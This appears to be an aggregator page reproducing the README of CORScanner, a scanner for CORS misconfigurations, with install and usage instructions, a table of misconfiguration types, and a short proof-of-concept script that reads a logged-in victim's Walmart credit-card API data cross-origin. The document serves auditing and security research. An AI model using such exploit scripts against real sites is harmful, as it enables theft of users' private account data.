All Projects → chenjj → Corscanner

chenjj / Corscanner

Licence: mit
Fast CORS misconfiguration vulnerabilities scanner🍻

Programming Languages

python
139335 projects - #7 most used programming language
python3
1442 projects

Projects that are alternatives of or similar to Corscanner

Web Security Fundamentals
👨‍🏫 Mike's Web Security Course
Stars: ✭ 195 (-67.55%)
Mutual labels:  cors, web-security
Twa
A tiny web auditor with strong opinions.
Stars: ✭ 549 (-8.65%)
Mutual labels:  web-security
Lookyloo
Lookyloo is a web interface that allows users to capture a website page and then display a tree of domains that call each other.
Stars: ✭ 381 (-36.61%)
Mutual labels:  web-security
Cross Origin
🌀 跨域demo。CORS、JSONP、postMessage、websocket、document.domain、window.name、iframe等示例
Stars: ✭ 475 (-20.97%)
Mutual labels:  cors
Hellraiser
Vulnerability scanner using Nmap for scanning and correlating found CPEs with CVEs.
Stars: ✭ 413 (-31.28%)
Mutual labels:  vulnerability-scanners
Awvs Decode
The best and easiest way to decode and repack AWVS scripts. AWVS 最好、最简单、最新的解码/再打包方法,仅15行代码!
Stars: ✭ 488 (-18.8%)
Mutual labels:  vulnerability-scanners
Corsica
Elixir library for dealing with CORS requests. 🏖
Stars: ✭ 373 (-37.94%)
Mutual labels:  cors
Scanners Box
A powerful hacker toolkit collected more than 10 categories of open source scanners from Github - 安全行业从业者自研开源扫描器合辑
Stars: ✭ 5,590 (+830.12%)
Mutual labels:  vulnerability-scanners
Githacker
🕷️ A Git source leak exploit tool that restores the entire Git repository, including data from stash, for white-box auditing and analysis of developers' mind
Stars: ✭ 524 (-12.81%)
Mutual labels:  web-security
Wordpresscan
WPScan rewritten in Python + some WPSeku ideas
Stars: ✭ 456 (-24.13%)
Mutual labels:  vulnerability-scanners
Vanquish
Vanquish is Kali Linux based Enumeration Orchestrator. Vanquish leverages the opensource enumeration tools on Kali to perform multiple active information gathering phases.
Stars: ✭ 449 (-25.29%)
Mutual labels:  vulnerability-scanners
Hacking
hacker, ready for more of our story ! 🚀
Stars: ✭ 413 (-31.28%)
Mutual labels:  vulnerability-scanners
Satansword
红队综合渗透框架
Stars: ✭ 482 (-19.8%)
Mutual labels:  vulnerability-scanners
Wormhole
Wormhole — it's better EventEmitter for communication between tabs with supporting Master/Slave.
Stars: ✭ 393 (-34.61%)
Mutual labels:  cors
Cors
Node.js CORS middleware
Stars: ✭ 5,252 (+773.88%)
Mutual labels:  cors
Securitymanageframwork
Security Manage Framwork is a security management platform for enterprise intranet, which includes asset management, vulnerability management, account management, knowledge base management, security scanning automation function modules, and can be used for internal security management. This platform is designed to help Party A with fewer security personnel, complicated business lines, difficult periodic inspection and low automation to better achieve internal safety management.
Stars: ✭ 378 (-37.1%)
Mutual labels:  vulnerability-scanners
Apache Ultimate Bad Bot Blocker
Apache Block Bad Bots, (Referer) Spam Referrer Blocker, Vulnerability Scanners, Malware, Adware, Ransomware, Malicious Sites, Wordpress Theme Detectors and Fail2Ban Jail for Repeat Offenders
Stars: ✭ 441 (-26.62%)
Mutual labels:  vulnerability-scanners
Vulscan
vulscan 扫描系统:最新的poc&exp漏洞扫描,redis未授权、敏感文件、java反序列化、tomcat命令执行及各种未授权扫描等...
Stars: ✭ 486 (-19.13%)
Mutual labels:  vulnerability-scanners
Passive Scan Client
Burp被动扫描流量转发插件
Stars: ✭ 597 (-0.67%)
Mutual labels:  vulnerability-scanners
Favfreak
Making Favicon.ico based Recon Great again !
Stars: ✭ 564 (-6.16%)
Mutual labels:  web-security

About CORScanner

CORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.

Features

  • Fast. It uses gevent instead of Python threads for concurrency, which is much faster for network scanning.
  • Comprehensive. It covers all the common types of CORS misconfigurations we know.
  • Flexible. It supports various self-define features (e.g. file output), which is helpful for large-scale scanning.
  • 🆕 CORScanner supports installation via pip (pip install corscanner or pip install cors)
  • 🆕 CORScanner can be used as a library in your project.

Two useful references for understanding CORS systematically:

Screenshots

CORScanner

Installation

  • Download this tool
git clone https://github.com/chenjj/CORScanner.git
  • Install dependencies
sudo pip install -r requirements.txt

CORScanner depends on the requests, gevent, tldextract, colorama and argparse python modules.

Python Version:

  • Both Python 2 (2.7.x) and Python 3 (3.7.x) are supported.

CORScanner as a library

  • Install CORScanner via pip
sudo pip install corscanner

or use the short name:

sudo pip install cors
  • Example code:
>>> from CORScanner.cors_scan import cors_check
>>> ret = cors_check("https://www.instagram.com", None)
>>> ret
{'url': 'https://www.instagram.com', 'type': 'reflect_origin', 'credentials': 'false', 'origin': 'https://evil.com', 'status_code': 200}

You can also use CORScanner via the corscanner or cors command: corscanner -u https://www.instagram.com -vv

Usage

Short Form Long Form Description
-u --url URL/domain to check it's CORS policy
-d --headers Add headers to the request
-i --input URL/domain list file to check their CORS policy
-t --threads Number of threads to use for CORS scan
-o --output Save the results to json file
-v --verbose Enable the verbose mode and display results in realtime
-T --timeout Set requests timeout (default 5 sec)
-h --help show the help message and exit

Examples

  • To check CORS misconfigurations of specific domain:

python cors_scan.py -u example.com

  • To enable more debug info, use -vvv:

python cors_scan.py -u example.com -vvv

  • To check CORS misconfigurations of specific URL:

python cors_scan.py -u http://example.com/restapi

  • To check CORS misconfiguration with specific headers:

python cors_scan.py -u example.com -d "Cookie: test"

  • To check CORS misconfigurations of multiple domains/URLs:

python cors_scan.py -i top_100_domains.txt -t 100

  • To list all the basic options and switches use -h switch:

python cors_scan.py -h

Misconfiguration types

This tool covers the following misconfiguration types:

Misconfiguration type Description
Reflect_any_origin Blindly reflect the Origin header value in Access-Control-Allow-Origin headers in responses, which means any website can read its secrets by sending cross-orign requests.
Prefix_match wwww.example.com trusts example.com.evil.com, which is an attacker's domain.
Suffix_match wwww.example.com trusts evilexample.com, which could be registered by an attacker.
Not_escape_dot wwww.example.com trusts wwwaexample.com, which could be registered by an attacker.
Substring match wwww.example.com trusts example.co, which could be registered by an attacker.
Trust_null wwww.example.com trusts null, which can be forged by iframe sandbox scripts
HTTPS_trust_HTTP Risky trust dependency, a MITM attacker may steal HTTPS site secrets
Trust_any_subdomain Risky trust dependency, a subdomain XSS may steal its secrets
Custom_third_parties Custom unsafe third parties origins like github.io, see more in origins.json file. Thanks @phackt!
Special_characters_bypass Exploiting browsers’ handling of special characters. Most can only work in Safari except _, which can also work in Chrome and Firefox. See more in Advanced CORS Exploitation Techniques. Thanks @Malayke.

Welcome to contribute more.

Exploitation examples

Here is an example about how to exploit "Reflect_any_origin" misconfiguration on Walmart.com(fixed). Localhost is the malicious website in the video.

Walmart.com video on Youtube:

Walmart_CORS_misconfiguration_exploitation

Here is the exploitation code:

<script>
    // Send a cross origin request to the walmart.com server, when a victim visits the page.
    var req = new XMLHttpRequest();
    req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
    req.onload = stealData;
    req.withCredentials = true;
    req.send();

    function stealData(){
        //reading response is allowed because of the CORS misconfiguration.
        var data= JSON.stringify(JSON.parse(this.responseText),null,2);

        //display the data on the page. A real attacker can send the data to his server.
        output(data);
    }

    function output(inp) {
        document.body.appendChild(document.createElement('pre')).innerHTML = inp;
    }
</script>

If you have understood how the demo works, you can read Section 5 and Section 6 of the CORS paper and know how to exploit other misconfigurations.

License

CORScanner is licensed under the MIT license. take a look at the LICENSE for more information.

Credits

This work is inspired by the following excellent researches:

  • James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*
  • Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”, AppSecUSA 2016*
  • Von Jens Müller, "CORS misconfigurations on a large scale", CORStest*

Version

Current version is 1.0

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].